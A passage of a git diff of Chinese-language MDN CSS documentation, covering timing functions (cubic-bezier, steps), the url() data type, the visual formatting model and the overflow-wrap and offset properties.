一条立方贝塞尔曲线需要四个点来定义,P0 、P1 、P2 和 P3。P0 和 P3 是起点和终点,这两个点被作为比例固定在坐标系上,横轴为时间比例,纵轴为完成状态。P0 是 (0, 0),表示初始时间和初始状态。P3 是 (1, 1) ,表示终止时间和终止状态。

- -

并非所有的三次贝塞尔曲线都适合作为计时函数,也并非所有的曲线都是数学函数,即给定横坐标为0或1的曲线。在CSS定义的P0和P3固定的情况下,三次贝塞尔曲线是一个函数,因此,当且仅当P1和P2的横坐标都在[0,1]范围内时,三次贝塞尔曲线是有效的。

- -

三次贝塞尔曲线的 P1或 P2坐标超出[0, 1] 范围可能会产生弹跳效果。

- -

当指定的三次贝塞尔曲线无效时,CSS将忽略整个属性。

-
-
- -

语法

- -
cubic-bezier(x1, y1, x2, y2)
-
- -

其中,

- -
-
x1, y1, x2, y2是<number>类型的值,它们代表当前定义立方贝塞尔曲线中的P1 和 P2点的横坐标和纵坐标,X1和X2必须在[0,1]范围内,否则当前值无效。
-
Are {{cssxref("<number>")}} values representing the abscissas and ordinates of the P1 and P2 points defining the cubic Bézier curve. x1 and x2 must be in the range [0, 1] or the value is invalid.
-
- -

示例

- -

CSS 中允许使用这些贝塞尔曲线:

- -
cubic-bezier(0.1, 0.7, 1.0, 0.1)   The canonical Bézier curve with four <number> in the [0,1] range.
-cubic-bezier(0, 0, 1, 1)           Using <integer> is valid as any <integer> is also a <number>.
-cubic-bezier(0.3, -1.9, 2.1, -0.2) Negative values for ordinates are valid, leading to bouncing effects.
-cubic-bezier(0.1, 4, 0.6, 2.45)    Values > 1.0 for ordinates are also valid.
- -

像这些贝塞尔曲线的定义是无效的:

- -
cubic-bezier(0.1, red, 1.0, green) Though the animated output type may be a color, Bézier curves work w/ numerical ratios.
-cubic-bezier(-0.2, 0.6, -0.1, 0)   Abscissas must be in the [0, 1] range or the curve is not a function of time.
-cubic-bezier(0.3, 2.1)             The two points must be defined, there is no default value.
-cubic-bezier(1.1, 0, 4, 0)         Abscissas must be in the [0, 1] range or the curve is not a function of time.
-
- -

The steps() class of timing-functions

- - - - - - - - - - - - - -
- - - - - - - -
-

steps() 定义了一个以等距步长划分值域的步长函数。这个阶跃函数的子类有时也称为阶梯函数。

-
-
steps(2, start)steps(4, end)
- -

Syntax

- -
steps(number_of_steps, direction)
-
- -

where :

- -
-
number_of_steps
-
Is a strictly positive {{cssxref("<integer>")}} representing the amount of equidistant treads composing the stepping function.
-
direction
-
Is a keyword indicating if it the function is left- or right-continuous: -
    -
  • start denotes a left-continuous function, so that the first step happens when the animation begins;
  • -
  • end denotes a right-continuous function, so that the last step happens when the animation ends.
  • -
-
-
- -

Examples

- -

These timing functions are valid :

- -
steps(5, end)          There is 5 treads, the last one happens right before the end of the animation.
-steps(2, start)        A two-step staircase, the first one happening at the start of the animation.
-
- -

These timing function are invalid :

- -
steps(2.0, end)        The first parameter must be an <integer> and cannot be a real value, even if it is equal to one.
-steps(-3, start)       The amount of steps must be non-negative.
-steps(0, end)          There must be at least one step.
-steps(2)               The second parameter is not optional.
-steps(start, 3)        Though of different types, the order of parameter is important.
-step(1, end)           Even if there is one step, the function name is steps, with the plural 's'
-steps(3 end)           The two parameters must be separated with a comma; one or several spaces is not enough.
-
- -

常用定时函数关键字

- -

linear

- - - - - - - - -
-

此关键字表示定时函数cubic-bezier(0.0, 0.0, 1.0, 1.0)。使用这个定时函数,动画会以恒定的速度从初始状态过渡到结束状态。

-
- -

ease

- - - - - - - - -
此关键字表示定时函数 cubic-bezier(0.25, 0.1, 0.25, 1.0)。 这个函数类似于 ease-in-out, 尽管它在开始时加速地更快,但在接近中间中,加速已经开始变慢了。
- -

ease-in

- - - - - - - - -
-

此关键字表示定时函数cubic-bezier(0.42, 0.0, 1.0, 1.0)。动画开始时缓慢,然后逐步加速,知道达到最后状态,动画突然停止。

-
- -

ease-in-out

- - - - - - - - -
-

此关键字表示定时函数 cubic-bezier(0.42, 0.0, 0.58, 1.0)。使用这个定时函数,动画开始的行为类似于 ease-in 函数,动画结束时的行为类似于 ease-out函数。

-
- -

ease-out

- - - - - - - - -
-

此关键字表示定时函数 cubic-bezier(0.0, 0.0, 0.58, 1.0)。动画开始很快,然后逐渐减慢,直到最终状态。

-
- -

step-start

- - - - - - - - -
此关键字表示定时函数 steps(1, start)。使用这个定时函数,动画会立刻跳转到结束状态,并一直停留在结束状态直到动画结束。
- -

step-end

- - - - - - - - -
-

此关键字表示定时函数 steps(1, end)。使用这个定时函数,动画会一直保持初始状态直到动画结束,然后立刻跳转到结束状态。

-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Transitions', '#transition-timing-function', '<timing-function>') }}{{ Spec2('CSS3 Transitions') }}Defined anonymously
{{ SpecName('CSS3 Animations', '#animation-timing-function', '<timing-function>') }}{{ Spec2('CSS3 Animations') }}Defined anonymously, says to see definition in the CSS Transitions Module
- -

浏览器兼容性

- -

{{Compat("css.types.timing-function", 2)}}

- -

相关链接

- - diff --git a/files/zh-cn/web/css/url()/index.html b/files/zh-cn/web/css/url()/index.html new file mode 100644 index 0000000000..3ba85545e4 --- /dev/null +++ b/files/zh-cn/web/css/url()/index.html @@ -0,0 +1,127 @@ +--- +title: +slug: Web/CSS/url +translation_of: Web/CSS/url() +translation_of_original: Web/CSS/url +--- +

{{ CssRef() }}

+ +

概述

+ +

CSS 数据类型 <url> 指向一个资源。它没有独有的表达形式,只能通过 url() 函数定义。

+ +
URI 和 URL?
+
+URI(统一资源标识符) 与 URL(统一资源定位符) 不同。URL 描述资源的位置,而 URI 描述资源的 id。URI 可以是一个资源的 URL(地址)、或 URN(统一资源名称)。
+
+在 CSS Level 1 中,url() 函数被引入并用于描述 URL,即地址(虽然没有明确定义,但指一个 CSS 数据类型 <url>
+
+在 CSS Level 2 中,url() 函数被扩展为可以描述任何一个 URI,即 URL 或 URN。这一定义导致  url() 函数被用于创建一个  <uri> 数据类型。这一行为使人迷惑,且在 CSS 中几乎从不使用 URN。
+
+为了解决这一问题,在 CSS Level 3 中恢复了它的初始定义, url() 函数被明确定义为指代 <url> CSS 数据类型,且 <uri> CSS 数据类型不再存在。
+
+注意,这些语义信息并不会影响 Web 开发者的开发和对此数据类型的具体实现。
+ +

许多 CSS 属性 将 URL 作为属性值,例如 {{ Cssxref("background-image") }}、{{ Cssxref("cursor") }}、{{ Cssxref("@font-face") }}、{{ cssxref("list-style") }} 等。

+ +

url() 函数

+ +

URL 可以使用单引号或双引号包含,也可以直接书写。可以在此函数中使用相对地址。相对地址相对于 CSS 样式表的 URL(而不是网页的 URL)。

+ +

语法

+ +
 <CSS 属性>:  url("http://mysite.example.com/mycursor.png")
+
+ <CSS 属性>:  url(http://mysite.example.com/mycursor.png)
+
+ +
+

注意: 从 Firefox 15 开始,不再允许在未用引号包含的 url() 中使用大于 0x7e 的控制字符。详情请查看 {{Bug(752230)}}。

+
+ +

示例

+ +
.topbanner { background: url("topbanner.png") #00D no-repeat fixed; }
+
+ +
ul { list-style: square url(http://www.example.com/redball.png) }
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{ SpecName('CSS3 Values', '#urls', '<url>') }}{{ Spec2('CSS3 Values') }}自 CSS Level 2 (Revision 1) 以来没有显著更改
{{ Specname('CSS2.1', 'syndata.html#uri', '<uri>') }}{{ Spec2('CSS2.1') }}自 CSS Level 1 以来没有显著更改
{{ SpecName('CSS1', '#url', '<url>') }}{{ Spec2('CSS1') }} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持1.01.0 (1.0)3.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持1.01.0 (3.5)yesyes1.0
+
diff --git a/files/zh-cn/web/css/url/index.html b/files/zh-cn/web/css/url/index.html deleted file mode 100644 index 3ba85545e4..0000000000 --- a/files/zh-cn/web/css/url/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: -slug: Web/CSS/url -translation_of: Web/CSS/url() -translation_of_original: Web/CSS/url ---- -

{{ CssRef() }}

- -

概述

- -

CSS 数据类型 <url> 指向一个资源。它没有独有的表达形式,只能通过 url() 函数定义。

- -
URI 和 URL?
-
-URI(统一资源标识符) 与 URL(统一资源定位符) 不同。URL 描述资源的位置,而 URI 描述资源的 id。URI 可以是一个资源的 URL(地址)、或 URN(统一资源名称)。
-
-在 CSS Level 1 中,url() 函数被引入并用于描述 URL,即地址(虽然没有明确定义,但指一个 CSS 数据类型 <url>
-
-在 CSS Level 2 中,url() 函数被扩展为可以描述任何一个 URI,即 URL 或 URN。这一定义导致  url() 函数被用于创建一个  <uri> 数据类型。这一行为使人迷惑,且在 CSS 中几乎从不使用 URN。
-
-为了解决这一问题,在 CSS Level 3 中恢复了它的初始定义, url() 函数被明确定义为指代 <url> CSS 数据类型,且 <uri> CSS 数据类型不再存在。
-
-注意,这些语义信息并不会影响 Web 开发者的开发和对此数据类型的具体实现。
- -

许多 CSS 属性 将 URL 作为属性值,例如 {{ Cssxref("background-image") }}、{{ Cssxref("cursor") }}、{{ Cssxref("@font-face") }}、{{ cssxref("list-style") }} 等。

- -

url() 函数

- -

URL 可以使用单引号或双引号包含,也可以直接书写。可以在此函数中使用相对地址。相对地址相对于 CSS 样式表的 URL(而不是网页的 URL)。

- -

语法

- -
 <CSS 属性>:  url("http://mysite.example.com/mycursor.png")
-
- <CSS 属性>:  url(http://mysite.example.com/mycursor.png)
-
- -
-

注意: 从 Firefox 15 开始,不再允许在未用引号包含的 url() 中使用大于 0x7e 的控制字符。详情请查看 {{Bug(752230)}}。

-
- -

示例

- -
.topbanner { background: url("topbanner.png") #00D no-repeat fixed; }
-
- -
ul { list-style: square url(http://www.example.com/redball.png) }
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态说明
{{ SpecName('CSS3 Values', '#urls', '<url>') }}{{ Spec2('CSS3 Values') }}自 CSS Level 2 (Revision 1) 以来没有显著更改
{{ Specname('CSS2.1', 'syndata.html#uri', '<uri>') }}{{ Spec2('CSS2.1') }}自 CSS Level 1 以来没有显著更改
{{ SpecName('CSS1', '#url', '<url>') }}{{ Spec2('CSS1') }} 
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持1.01.0 (1.0)3.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持1.01.0 (3.5)yesyes1.0
-
diff --git a/files/zh-cn/web/css/visual_formatting_model/index.html b/files/zh-cn/web/css/visual_formatting_model/index.html new file mode 100644 index 0000000000..640f3abbc9 --- /dev/null +++ b/files/zh-cn/web/css/visual_formatting_model/index.html @@ -0,0 +1,282 @@ +--- +title: 视觉格式化模型 +slug: Web/Guide/CSS/Visual_formatting_model +tags: + - CSS + - CSS盒模型 + - 参考 +translation_of: Web/CSS/Visual_formatting_model +--- +

{{CSSRef}}

+ +

CSS 视觉格式化模型(visual formatting model)是用来处理和在视觉媒体上显示文档时使用的计算规则。该模型是 CSS 的基础概念之一。

+ + + +

视觉格式化模型会根据CSS盒子模型将文档中的元素转换为一个个盒子,每个盒子的布局由以下因素决定:

+ +
    +
  • 盒子的尺寸:精确指定、由约束条件指定或没有指定
  • +
  • 盒子的类型:行内盒子(inline)、行内级盒子(inline-level)、原子行内级盒子(atomic inline-level)、块盒子(block)
  • +
  • 定位方案(positioning scheme):普通流定位、浮动定位或绝对定位
  • +
  • 文档树中的其它元素:即当前盒子的子元素或兄弟元素
  • +
  • {{glossary("viewport", "视口")}}尺寸与位置
  • +
  • 所包含的图片的尺寸
  • +
  • 其他的某些外部因素
  • +
+ +

该模型会根据盒子的包含块(containing block)的边界来渲染盒子。通常,盒子会创建一个包含其后代元素的包含块,但是盒子并不由包含块所限制,当盒子的布局跑到包含块的外面时称为溢出(overflow)

+ +
+

译注:本文有很多相近的术语,阅读时需仔细,否则容易造成误解。为了方便读者,这里我将其整理一下。

+ +

 

+ +
    +
  • :block,一个抽象的概念,一个块在文档流上占据一个独立的区域,块与块之间在垂直方向上按照顺序依次堆叠。
  • +
  • 包含块:containing block,包含其他盒子的块称为包含块。
  • +
  • 盒子:box,一个抽象的概念,由CSS引擎根据文档中的内容所创建,主要用于文档元素的定位、布局和格式化等用途。盒子与元素并不是一一对应的,有时多个元素会合并生成一个盒子,有时一个元素会生成多个盒子(如匿名盒子)。
  • +
  • 块级元素:block-level element,元素的 displayblocklist-itemtable 时,该元素将成为块级元素。元素是否是块级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • +
  • 块级盒子:block-level box,由块级元素生成。一个块级元素至少会生成一个块级盒子,但也有可能生成多个(例如列表项元素)。
  • +
  • 块盒子:block box,如果一个块级盒子同时也是一个块容器盒子(见下),则称其为块盒子。除具名块盒子之外,还有一类块盒子是匿名的,称为匿名块盒子(Anonymous block box),匿名盒子无法被CSS选择符选中。
  • +
  • 块容器盒子:block container box或block containing box,块容器盒子侧重于当前盒子作为“容器”的这一角色,它不参与当前块的布局和定位,它所描述的仅仅是当前盒子与其后代之间的关系。换句话说,块容器盒子主要用于确定其子元素的定位、布局等。
  • +
+ +

注意:盒子分为“块盒子”和“块级盒子”两种,但元素只有“块级元素”,而没有“块元素”。下面的“行内级元素”也是一样。

+ +
    +
  • 行内级元素:inline-level element,displayinlineinline-blockinline-table 的元素称为行内级元素。与块级元素一样,元素是否是行内级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • +
  • 行内级盒子:inline-level box,由行内级元素生成。行内级盒子包括行内盒子和原子行内级盒子两种,区别在于该盒子是否参与行内格式化上下文的创建。
  • +
  • 行内盒子:inline box,参与行内格式化上下文创建的行内级盒子称为行内盒子。与块盒子类似,行内盒子也分为具名行内盒子和匿名行内盒子(anonymous inline box)两种。
  • +
  • 原子行内级盒子:atomic inline-level box,不参与行内格式化上下文创建的行内级盒子。原子行内级盒子一开始叫做原子行内盒子(atomic inline box),后被修正。原子行内级盒子的内容不会拆分成多行显示。
  • +
+ +

另外,本文的英文原文仍未最后定稿,因此部分内容并不完整。待英文原文更新后应及时更新译文。

+
+ +

盒子的生成

+ +

盒子的生成是 CSS 视觉格式化模型的一部分,用于从文档元素生成盒子。盒子有不同的类型,不同类型的盒子的格式化方法也有所不同。盒子的类型取决于 CSS {{ cssxref("display") }} 属性。

+ +

块级元素与块盒子

+ +

当元素的 {{ cssxref("display") }} 为 blocklist-item 或 table 时,该元素将成为块级元素。一个块级元素会被格式化成一个块(例如文章的一个段落),默认按照垂直方向依次排列。

+ +

每个块级盒子都会参与块格式化上下文(block formatting context)的创建,而每个块级元素都会至少生成一个块级盒子,即主块级盒子(principal block-level box)。有一些元素,比如列表项会生成额外的盒子来放置项目符号,而那些会生成列表项的元素可能会生成更多的盒子。不过,多数元素只生成一个主块级盒子。 

+ +

主块级盒子包含由后代元素生成的盒子以及内容,同时它也会参与定位方案

+ +

venn_blocks.png一个块级盒子可能也是一个块容器盒子。块容器盒子(block container box)要么只包含其它块级盒子,要么只包含行内盒子并同时创建一个行内格式化上下文(inline formatting context)

+ +

能够注意到块级盒子与块容器盒子是不同的这一点很重要。前者描述了元素与其父元素和兄弟元素之间的行为,而后者描述了元素跟其后代之间的行为。有些块级盒子并不是块容器盒子,比如表格;而有些块容器盒子也不是块级盒子,比如非替换行内块和非替换表格单元格。

+ +

一个同时是块容器盒子的块级盒子称为块盒子(block box)。

+ +

匿名块盒子

+ +

在某些情况下进行视觉格式化时,需要添加一些增补性的盒子,这些盒子不能用CSS选择符选中,因此称为匿名盒子(anonymous boxes)

+ +

CSS选择器不能作用于匿名盒子(anonymous boxes),所以它不能被样式表赋予样式。也就是说,此时所有可继承的 CSS 属性值都为 inherit ,而所有不可继承的 CSS 属性值都为 initial

+ +

块包含盒子可能只包含行内级盒子,也可能只包含块级盒子,但通常的文档都会同时包含两者,在这种情况下,就会在相邻的行内级盒子外创建匿名块盒子。

+ +

示例

+ +

考虑下面的HTML代码,假设 {{ HTMLElement("div") }} 和 {{ HTMLElement("p") }} 都保持默认的样式(即它们的 display 为 block):

+ +
<div>Some inline text <p>followed by a paragraph</p> followed by more inline text.</div>
+
+ +

此时会产生两个匿名块盒子:一个是 <p> 元素前面的那些文本(Some inline text),另一个是 <p> 元素后面的文本(followed by more inline text.)。此时会生成下面的块结构:

+ +

+ +

显示为:

+ +
Some inline text
+followed by a paragraph
+followed by more inline text.
+
+ +

对这两个匿名盒子来说,程序员无法像 {{ HTMLElement("p") }} 元素那样控制它们的样式,因此它们会从 {{ HTMLElement("div") }} 那里继承那些可继承的属性,如 {{ cssxref("color") }}。其他不可继承的属性则会设置为 initial,比如,因为没有为它们指定 {{ cssxref("background-color") }},因此其具有默认的透明背景,而 <p> 元素的盒子则能够用CSS指定背景颜色。类似地,两个匿名盒子的文本颜色总是一样的。

+ +

另一种会创建匿名块盒子的情况是一个行内盒子中包含一或多个块盒子。此时,包含块盒子的盒子会拆分为两个行内盒子,分别位于块盒子的前面和后面。块盒子前面的所有行内盒子会被一个匿名块盒子包裹,块盒子后面的行内盒子也是一样。因此,块盒子将成为这两个匿名块盒子的兄弟盒子。

+ +

如果有多个块盒子,而它们中间又没有行内元素,则会在这些盒子的前面和后面创建两个匿名块盒子。

+ +

示例

+ +

考虑下面的HTML代码,假设 {{ HTMLElement("p") }} 的 display 为 inline,{{ HTMLElement("span") }} 的 display 为 block

+ +
<p>Some <em>inline</em> text <span>followed by a paragraph</span> followed by more inline text.</p>
+
+ +

此时会产生两个匿名块盒子:一个是 <span> 元素前面的文本(Some inline text),另一个是其之后的文本(followed by more inline text.)。此时会生成下面的块结构:

+ +

+ +

显示为:

+ +
Some inline text
+followed by a paragraph
+followed by more inline text.
+
+ +

行内级元素和行内盒子

+ +

如果一个元素的 {{ cssxref("display") }} 属性为 inlineinline-blockinline-table,则称该元素为行内级元素。显示时,它不会生成内容块,但是可以与其他行内级内容一起显示为多行。一个典型的例子是包含多种格式内容(如强调文本、图片等)的段落,就可以由行内级元素组成。

+ +

+ +
+

该图使用了过时的术语,见下面的“注意”(译注:指图中的 “Atomic inline boxes”)。除此之外该图还有一个错误,右边的黄色部分应该完全包含左侧的椭圆(类似于数学上的超集),因为标准所说的是“如果行内级元素生成的盒子参与行内格式化上下文的创建,则该盒子为一个行内级盒子”,见“CSS 2.2标准的9.2.2节”。

+
+ +

行内级元素会生成行内级盒子,该盒子同时会参与行内格式化上下文(inline formatting context)的创建。行内盒子既是行内级盒子,也是一个其内容会参与创建其容器的行内格式化上下文的盒子,比如所有具有 display:inline 样式的非替换盒子。如果一个行内级盒子的内容不参与行内格式化上下文的创建,则称其为原子行内级盒子。而通过替换行内级元素或 display 值为 inline-blockinline-table 的元素创建的盒子不会像行内盒子一样可以被拆分为多个盒子。

+ +
+

注意:开始的时候,原子行内级盒子叫做原子行内盒子,这并不准确,因为它们并不是行内盒子。后来在一次勘误时修正了这一问题。不过,当你见到某些文章中使用了“原子行内盒子”的时候,你尽可以将其理解为“原子行内级盒子”,因为这仅仅是一个名字的修改。

+
+ +
+

在同一个行内格式化上下文中,原子行内级盒子不能拆分成多行:

+ +
<style>
+  span {
+    display:inline; /* default value*/
+  }
+</style>
+<div style="width:20em;">
+   The text in the span <span>can be split in several
+   lines as it</span> is an inline box.
+</div>
+
+ +

可能会显示为:

+ +

The text in the span can be split into several
+ lines as it is an inline box.

+ +

而:

+ +
<style>
+  span {
+    display:inline-block;
+  }
+</style>
+<div style="width:20em;">
+   The text in the span <span>cannot be split in several
+   lines as it</span> is an inline-block box.
+</div>
+
+ +

则可能显示为:

+ +

The text in the span 
+ cannot be split into several lines as it is an
+ inline-block box.

+ +

其中的“cannot be split into several lines as it”永远不会换行。

+
+ +

匿名行内盒子

+ +
类似于块盒子,CSS引擎有时候也会自动创建一些行内盒子。这些行内盒子无法被选择符选中,因此是匿名的,它们从父元素那里继承那些可继承的属性,其他属性保持默认值 initial
+ +
 
+ +
一种常见的情况是CSS引擎会自动为直接包含在块盒子中的文本创建一个行内格式化上下文,在这种情况下,这些文本会被一个足够大的匿名行内盒子所包含。但是如果仅包含空格则有可能不会生成匿名行内盒子,因为空格有可能会由于 {{ cssxref("white-space") }} 的设置而被移除,从而导致最终的实际内容为空。
+ +
 
+ +
示例 TBD
+ +

其他类型的盒子

+ +

行盒子

+ +

行盒子由行内格式化上下文创建,用来显示一行文本。在块盒子内部,行盒子总是从块盒子的一边延伸到另一边(译注:即占据整个块盒子的宽度)。当有浮动元素时,行盒子会从向左浮动的元素的右边缘延伸到向右浮动的元素的左边缘。

+ +
行盒子更多是以技术性目的而存在的,Web开发者通常不需要关心。
+ +

Run-in 盒子

+ +
Run-in 盒子通过 display:run-in 来定义,它可以是块盒子,也可以是行内盒子,这取决于紧随其后的盒子的类型。Run-in 盒子可以用来在可能的情况下将标题嵌入文章的第一个段落中。
+ +
 
+ +
+

注意:Run-in 盒子已经在CSS 2.1的标准中移除了,但可能会在CSS 3中作为一个实验性的内容再次加入。因此最好不要将其用于正式项目。

+
+ +

由其他模型引入的盒子

+ +
除了行内格式化上下文和块格式化上下文之外,CSS还定义了几种内容模型,这些模型同样可以应用于元素。这些模型一般用来描述布局,它们可能会定义一些额外的盒子类型:
+ +
 
+ +
    +
  • 表格内容模型可能会创建一个表格包装器盒子和一个表格盒子,以及多个其他盒子如表格标题盒子等
  • +
  • 多列内容模型可能会在容器盒子和内容之间创建多个列盒子
  • +
  • 实验性的网格内容模型或flex-box内容模型同样会创建一些其他种类的盒子
  • +
+ +

定位规则

+ +

一旦生成了盒子以后,CSS引擎就需要定位它们以完成布局。下面是定位盒子时所使用的规则:

+ +
    +
  • 普通流:按照次序依次定位每个盒子
  • +
  • 浮动:将盒子从普通流中单独拎出来,将其放到外层盒子的某一边
  • +
  • 绝对定位:按照绝对位置来定位盒子,其位置根据盒子的包含元素所建立的绝对坐标系来计算,因此绝对定位元素有可能会覆盖其他元素
  • +
+ +

普通流

+ +
在普通流中,盒子会依次放置。在块格式化上下文中,盒子在垂直方向依次排列;而在行内格式化上下文中,盒子则水平排列。当CSS的 {{ cssxref("position") }} 属性为 static 或 relative,并且 {{ cssxref("float") }} 为 none 时,其布局方式为普通流。
+ +

示例

+ +
+

在普通流的块格式化上下文中,盒子会垂直依次排列:

+ +

[TODO 图片]

+ +

在普通流的行内格式化上下文中,盒子会水平依次排列:

+ +

[TODO 图片]

+
+ +
+

普通流又有两种情况:静态定位和相对定位:

+ +

{{ cssxref("position") }} 为 static 时为静态定位,此时每个盒子根据普通流所计算出的确切位置来定位。

+ +

[TODO 图片]

+ +

当 {{ cssxref("position") }} 为 relative 时为相对定位,此时每个盒子还会根据 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 属性的值在其原本所在的位置上产生指定大小的偏移。

+
+ +

浮动

+ +

在浮动定位中,浮动盒子会浮动到当前行的开始或尾部位置。这会导致普通流中的文本及其他内容会“流”到浮动盒子的边缘处,除非元素通过 {{ cssxref("clear") }} 清除了前面的浮动。

+ +

一个盒子的 {{ cssxref("float") }} 值不为 none,并且其 {{ cssxref("position") }} 为 static 或 relative 时,该盒子为浮动定位。如果将 {{ cssxref("float") }} 设置为 left,浮动盒子会定位到当前行盒子的开始位置(左侧),如果设置为 right,浮动盒子会定位到当前行盒子的尾部位置(右侧)。不管是左浮动还是右浮动,行盒子都会伸缩以适应浮动盒子的大小。

+ +

[TODO 图片]

+ +

绝对定位

+ +

在绝对定位中,盒子会完全从当前流中移除,并且不会再与其有任何联系(译注:此处仅指定位和位置计算,而绝对定位的元素在文档树中仍然与其他元素有父子或兄弟等关系),其位置会使用 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 相对其包含块进行计算。

+ +

如果元素的 {{ cssxref("position") }} 为 absolute 或 fixed,该元素为绝对定位。

+ +

对固定位置的元素来说,其包含块为整个视口,该元素相对视口进行绝对定位,因此滚动时元素的位置并不会改变。

+ +

参见

+ +
    +
  • {{css_key_concepts}}
  • +
diff --git a/files/zh-cn/web/css/word-wrap/index.html b/files/zh-cn/web/css/word-wrap/index.html deleted file mode 100644 index 5c2c0c687d..0000000000 --- a/files/zh-cn/web/css/word-wrap/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: overflow-wrap -slug: Web/CSS/word-wrap -tags: - - CSS Text Module Level 3 - - CSS3 - - W3C - - overflow-wrap - - word-wrap -translation_of: Web/CSS/overflow-wrap ---- -
{{CSSRef}}
- -
- -

{{EmbedInteractiveExample("pages/css/overflow-wrap.html")}}

- - - -

CSS 属性 overflow-wrap 是用来说明当一个不能被分开的字符串太长而不能填充其包裹盒时,为防止其溢出,浏览器是否允许这样的单词中断换行。

- -
-

与{{cssxref("word-break")}}相比,overflow-wrap仅在无法将整个单词放在自己的行而不会溢出的情况下才会产生中断。

-
- -
注:word-wrap 属性原本属于微软的一个私有属性,在 CSS3 现在的文本规范草案中已经被重名为 {{cssxref("overflow-wrap")}} 。 word-wrap 现在被当作 overflow-wrap 的 “别名”。 稳定的谷歌 Chrome 和 Opera 浏览器版本支持这种新语法。
- -

语法

- -
/* Keyword values */
-overflow-wrap: normal;
-overflow-wrap: break-word;
-
-/* Global values */
-overflow-wrap: inherit;
-overflow-wrap: initial;
-overflow-wrap: unset;
-
-
- -

overflow-wrap 属性指定为从下面的值列表中选择的单个关键字。

- -

- -
-
normal
-
行只能在正常的单词断点处中断。(例如两个单词之间的空格)。
-
break-word
-
表示如果行内没有多余的地方容纳该单词到结尾,则那些正常的不能被分割的单词会被强制分割换行。
-
- -

形式语法

- -
{{csssyntax}}
- -

示例

- -

比较 overflow-wrap、word-break 和 hyphens

- -

本示例比较分解长单词时,overflow-wrapword-break,  hyphens 的结果。

- -

HTML

- -
<p>They say the fishing is excellent at
-  Lake <em class="normal">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>normal</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="ow-anywhere">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>overflow-wrap: anywhere</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="ow-break-word">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>overflow-wrap: break-word</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="word-break">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>word-break</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>hyphens</code>, without <code>lang</code> attribute)</p>
-<p lang="en">They say the fishing is excellent at
-  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>hyphens</code>, English rules)</p>
-<p class="hyphens" lang="de">They say the fishing is excellent at
-  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>hyphens</code>, German rules)</p>
- -

CSS

- -
p {
-   width: 13em;
-   margin: 2px;
-   background: gold;
-}
-
-.ow-anywhere {
-   overflow-wrap: anywhere;
-}
-
-.ow-break-word {
-   overflow-wrap: break-word;
-}
-
-.word-break {
-   word-break: break-all;
-}
-
-.hyphens {
-   hyphens: auto;
-}
- -

结果

- -

{{ EmbedLiveSample('Comparing_overflow-wrap_word-break_and_hyphens', '100%', 260) }}

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}{{ Spec2('CSS3 Text') }}Initial definition
- -

{{cssinfo}}

- -

浏览器兼容性

- -

{{Compat("css.properties.overflow-wrap")}}

- -

另参见

- -
    -
  • {{cssxref("word-break")}}
  • -
  • {{cssxref("hyphens")}}
  • -
  • {{cssxref("text-overflow")}}
  • -
diff --git "a/files/zh-cn/web/css/\345\201\217\347\247\273/index.html" "b/files/zh-cn/web/css/\345\201\217\347\247\273/index.html" deleted file mode 100644 index e61a0ffd7a..0000000000 --- "a/files/zh-cn/web/css/\345\201\217\347\247\273/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: offset -slug: Web/CSS/偏移 -translation_of: Web/CSS/offset ---- -
{{SeeCompatTable}}{{CSSRef}}{{draft}}
- -

这个 offset 是CSS属性的快速属性动画元素沿着定义的路径。

- -
-

早期版本 规格 属性叫做 motion.

-
- -

{{cssinfo}}

- -

Syntax

- -
/* 偏移位置 */
-offset: auto
-offset: 10px 30px;
-offset: none;
-
-/* 偏移路径 */
-offset: ray(45deg closest-side);
-offset: path(M 100 100 L 300 100 L 200 300 z);
-offset: url(arc.svg);
-
-/*  偏移路径的距离和/或旋转  */
-offset: url(circle.svg) 100px;
-offset: url(circle.svg) 40%;
-offset: url(circle.svg) 30deg;
-offset: url(circle.svg) 50px 20deg;
-
-/*  包括锚偏移  */
-offset: ray(45deg closest-side) / 40px 20px;
-offset: url(arc.svg) 2cm / 0.5cm 3cm;
-offset: url(arc.svg) 30deg / 50px 100px;
-
- -

语法形式

- -
{{csssyntax}}
- -

举例

- -

HTML

- -
<div id="offsetElement"></div>
-
- -

CSS

